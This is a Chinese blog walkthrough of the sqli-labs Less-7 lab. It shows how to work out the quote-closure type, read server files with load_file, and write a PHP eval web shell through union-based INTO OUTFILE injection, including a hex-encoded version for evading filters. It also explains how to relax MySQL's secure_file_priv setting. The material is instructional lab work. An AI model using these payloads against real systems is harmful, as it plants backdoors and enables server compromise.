首页 > 数据库 >基于sqli-labs Less-7 的sql高权读写注入详解

基于sqli-labs Less-7 的sql高权读写注入详解

时间:2024-09-19 19:23:25浏览次数:1  
标签:secure Less 高权 读写 labs file txt id priv

1. MySQL高权限读写简介

1.1 前置知识

数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。

select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件

1.2 读写注入示例

字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入

/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'

注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。

1.3 写入后门代码

给出写入后门代码示例

/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'

如果存在过滤,可以把<?php eval($_POST[x])?>用hex编码一下,不用单引号,即:

/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'

1.4 路径获取

load_fileoutfile函数都需要绝对路径,获取网站绝对路径的方法有以下几种:

  1. load_file常用路径直接读取配置文件,得到网站路径
  2. 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
  3. 输入错误信息,看是否会报错返回路径
  4. 爆破路径

2. 黑盒测试

2.1 判断闭合类型

判断闭合类型为((''))

/?id=1' and '1'='1  You are in
/?id=1' --+ 报错

/?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错

/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in

2.2 写入后门代码

写入后门代码
注意

  • 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
  • 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+

之后利用蚁剑连接后门即可

3. secure_file_priv限制

3.1 secure_file_priv简介

高版本的MYSQL添加了一个新的特性secure_file_privsecure_file_priv 是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILESELECT INTO OUTFILE 等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。

linux
/etc/my.cnf
	[mysqld]
	secure_file_priv=

win
my.ini
	[mysqld]
	secure_file_priv=
1. secure_file_priv=""                          代表对文件读写没有限制
2. secure_file_priv="NULL"                      代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data"  代表只能对该路径下文件进行读写

3.2 修改secure_file_priv配置

在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv禁止了读写
想要知道你的secure_file_priv设置,执行以下sql语句:

SHOW VARIABLES LIKE 'secure_file_priv';

若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini[mysqld]模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。

宇宙安全声明

本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。

标签:secure,Less,高权,读写,labs,file,txt,id,priv
From: https://www.cnblogs.com/xinghaihe/p/18421201

相关文章

  • Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)
    漏洞原理xss(crosssitescript)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就......
  • Docker拉取镜像报错:failed to register layer: exit status 22: unpigz: abort: zlib
    今天在甲方的服务器上升级Docker容器时拉取镜像报错failedtoregisterlayer:exitstatus22:unpigz:abort:zlibversionlessthan1.2.3,很纳闷明明在阿里云上测试的时候没有这个问题来着,遂开始查资料发现是pigz的bug,将其升级即可重写拉取镜像运行操作步骤:安装新版本c......
  • 基于sqli-labs Less-5 sql报错注入详解
    按照之前的思路发现,是正常的'闭合的字符型,但是在联合注入0'unionselect1,2,3--+没有回显注入点,只是回显Youarein,因此无法使用联合注入,考虑使用报错注入或者盲注。考虑到本题会给出数据库的错误信息,且盲注比较麻烦,尝试使用报错注入1.报错注入函数简介1.1updatexml函数UP......
  • xss-labs靶场:level11攻略 抓包工具的巧妙利用
    攻略第十关后稍作休整,我们继续来看第十一关:和上一关一样,提供给我们的仅有的参数是URL中的keyword,很明显,这个参数是无法利用的,我们查看页面源代码发现依然是有一个隐藏表单的存在,但是,我们发现表单中多了一个参数t_ref即<formid="search"><inputname="t_link"value=""t......
  • sqli-labs Basic Challenge Less_1 通关指南
    sqli-labsBasicChallengeLess_1通关指南测试注入点测试注入点的数据类型测试过程:测试返回点:测试列数:测试返回点:收集数据:版本用户权限库名表名与列名查找敏感信息测试注入点在进行SQL注入之前,首先要找到可能出现的注入点,以及其防护等级,也就是查找是否有漏洞。......
  • Cisco Modeling Labs (CML) 2.7.2 发布下载,新增功能概览
    CiscoModelingLabs(CML)2.7.2-网络仿真工具思科建模实验室(CML)请访问原文链接:https://sysin.org/blog/cisco-modeling-labs-2/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgCiscoModelingLabs是我们用于网络仿真的首要平台。凭借易于使用的HTML5UI和......
  • TiDB 数据库核心原理与架构_Lesson 01 TiDB 数据库架构概述课程整理
    作者:尚雷5580注:本文基于TiDB官网董菲老师《TiDB数据库核心原理与架构(101)》系列教程之《Lesson01TiDB数据库架构概述》内容进行整理和补充。一、TiDB体系架构1.1TiDB五大核心特性一键水平扩缩容得益于存储与计算分离的架构,TiDB支持按需对计算和存储进行在线扩......
  • .Net 状态机Stateless
    在Stateless库中,可以通过配置来获取状态(State)、触发器(Trigger)以及目标状态(DestinationState)。以下是如何进行配置的详细说明:1.创建状态机首先,你需要创建一个状态机实例。状态机实例需要指定当前状态和触发器类型。例如:varphoneCall=newStateMachine<State,Trigger>(St......
  • lesson05-设计主函数实现串口的初始化和运行
    根据boot.S里的内容,最后会跳转到kernel_main里,在这里会进行设置gpio引脚配置串口的初始化,然后循环运行,不断打印接受到的内容。//主函数voidkernel_main(){//串口初始化uart_init();//串口发送helloworlduart_send_string("Helloword!\n")//循环发......
  • lesson04-设计初始化bss段、读写寄存器值的汇编函数
    在内核启动时需要将bss段的所有数据清0,这里就需要memzero函数。.globalmemzero;全局可见memzero:strxzr,[x0],#8subsx1,x1,#8b.gtmemzeroret内核启动时需要经常读写soc内部寄存器的值,这里就需要用到对应的函数put32和get32。.globalput32......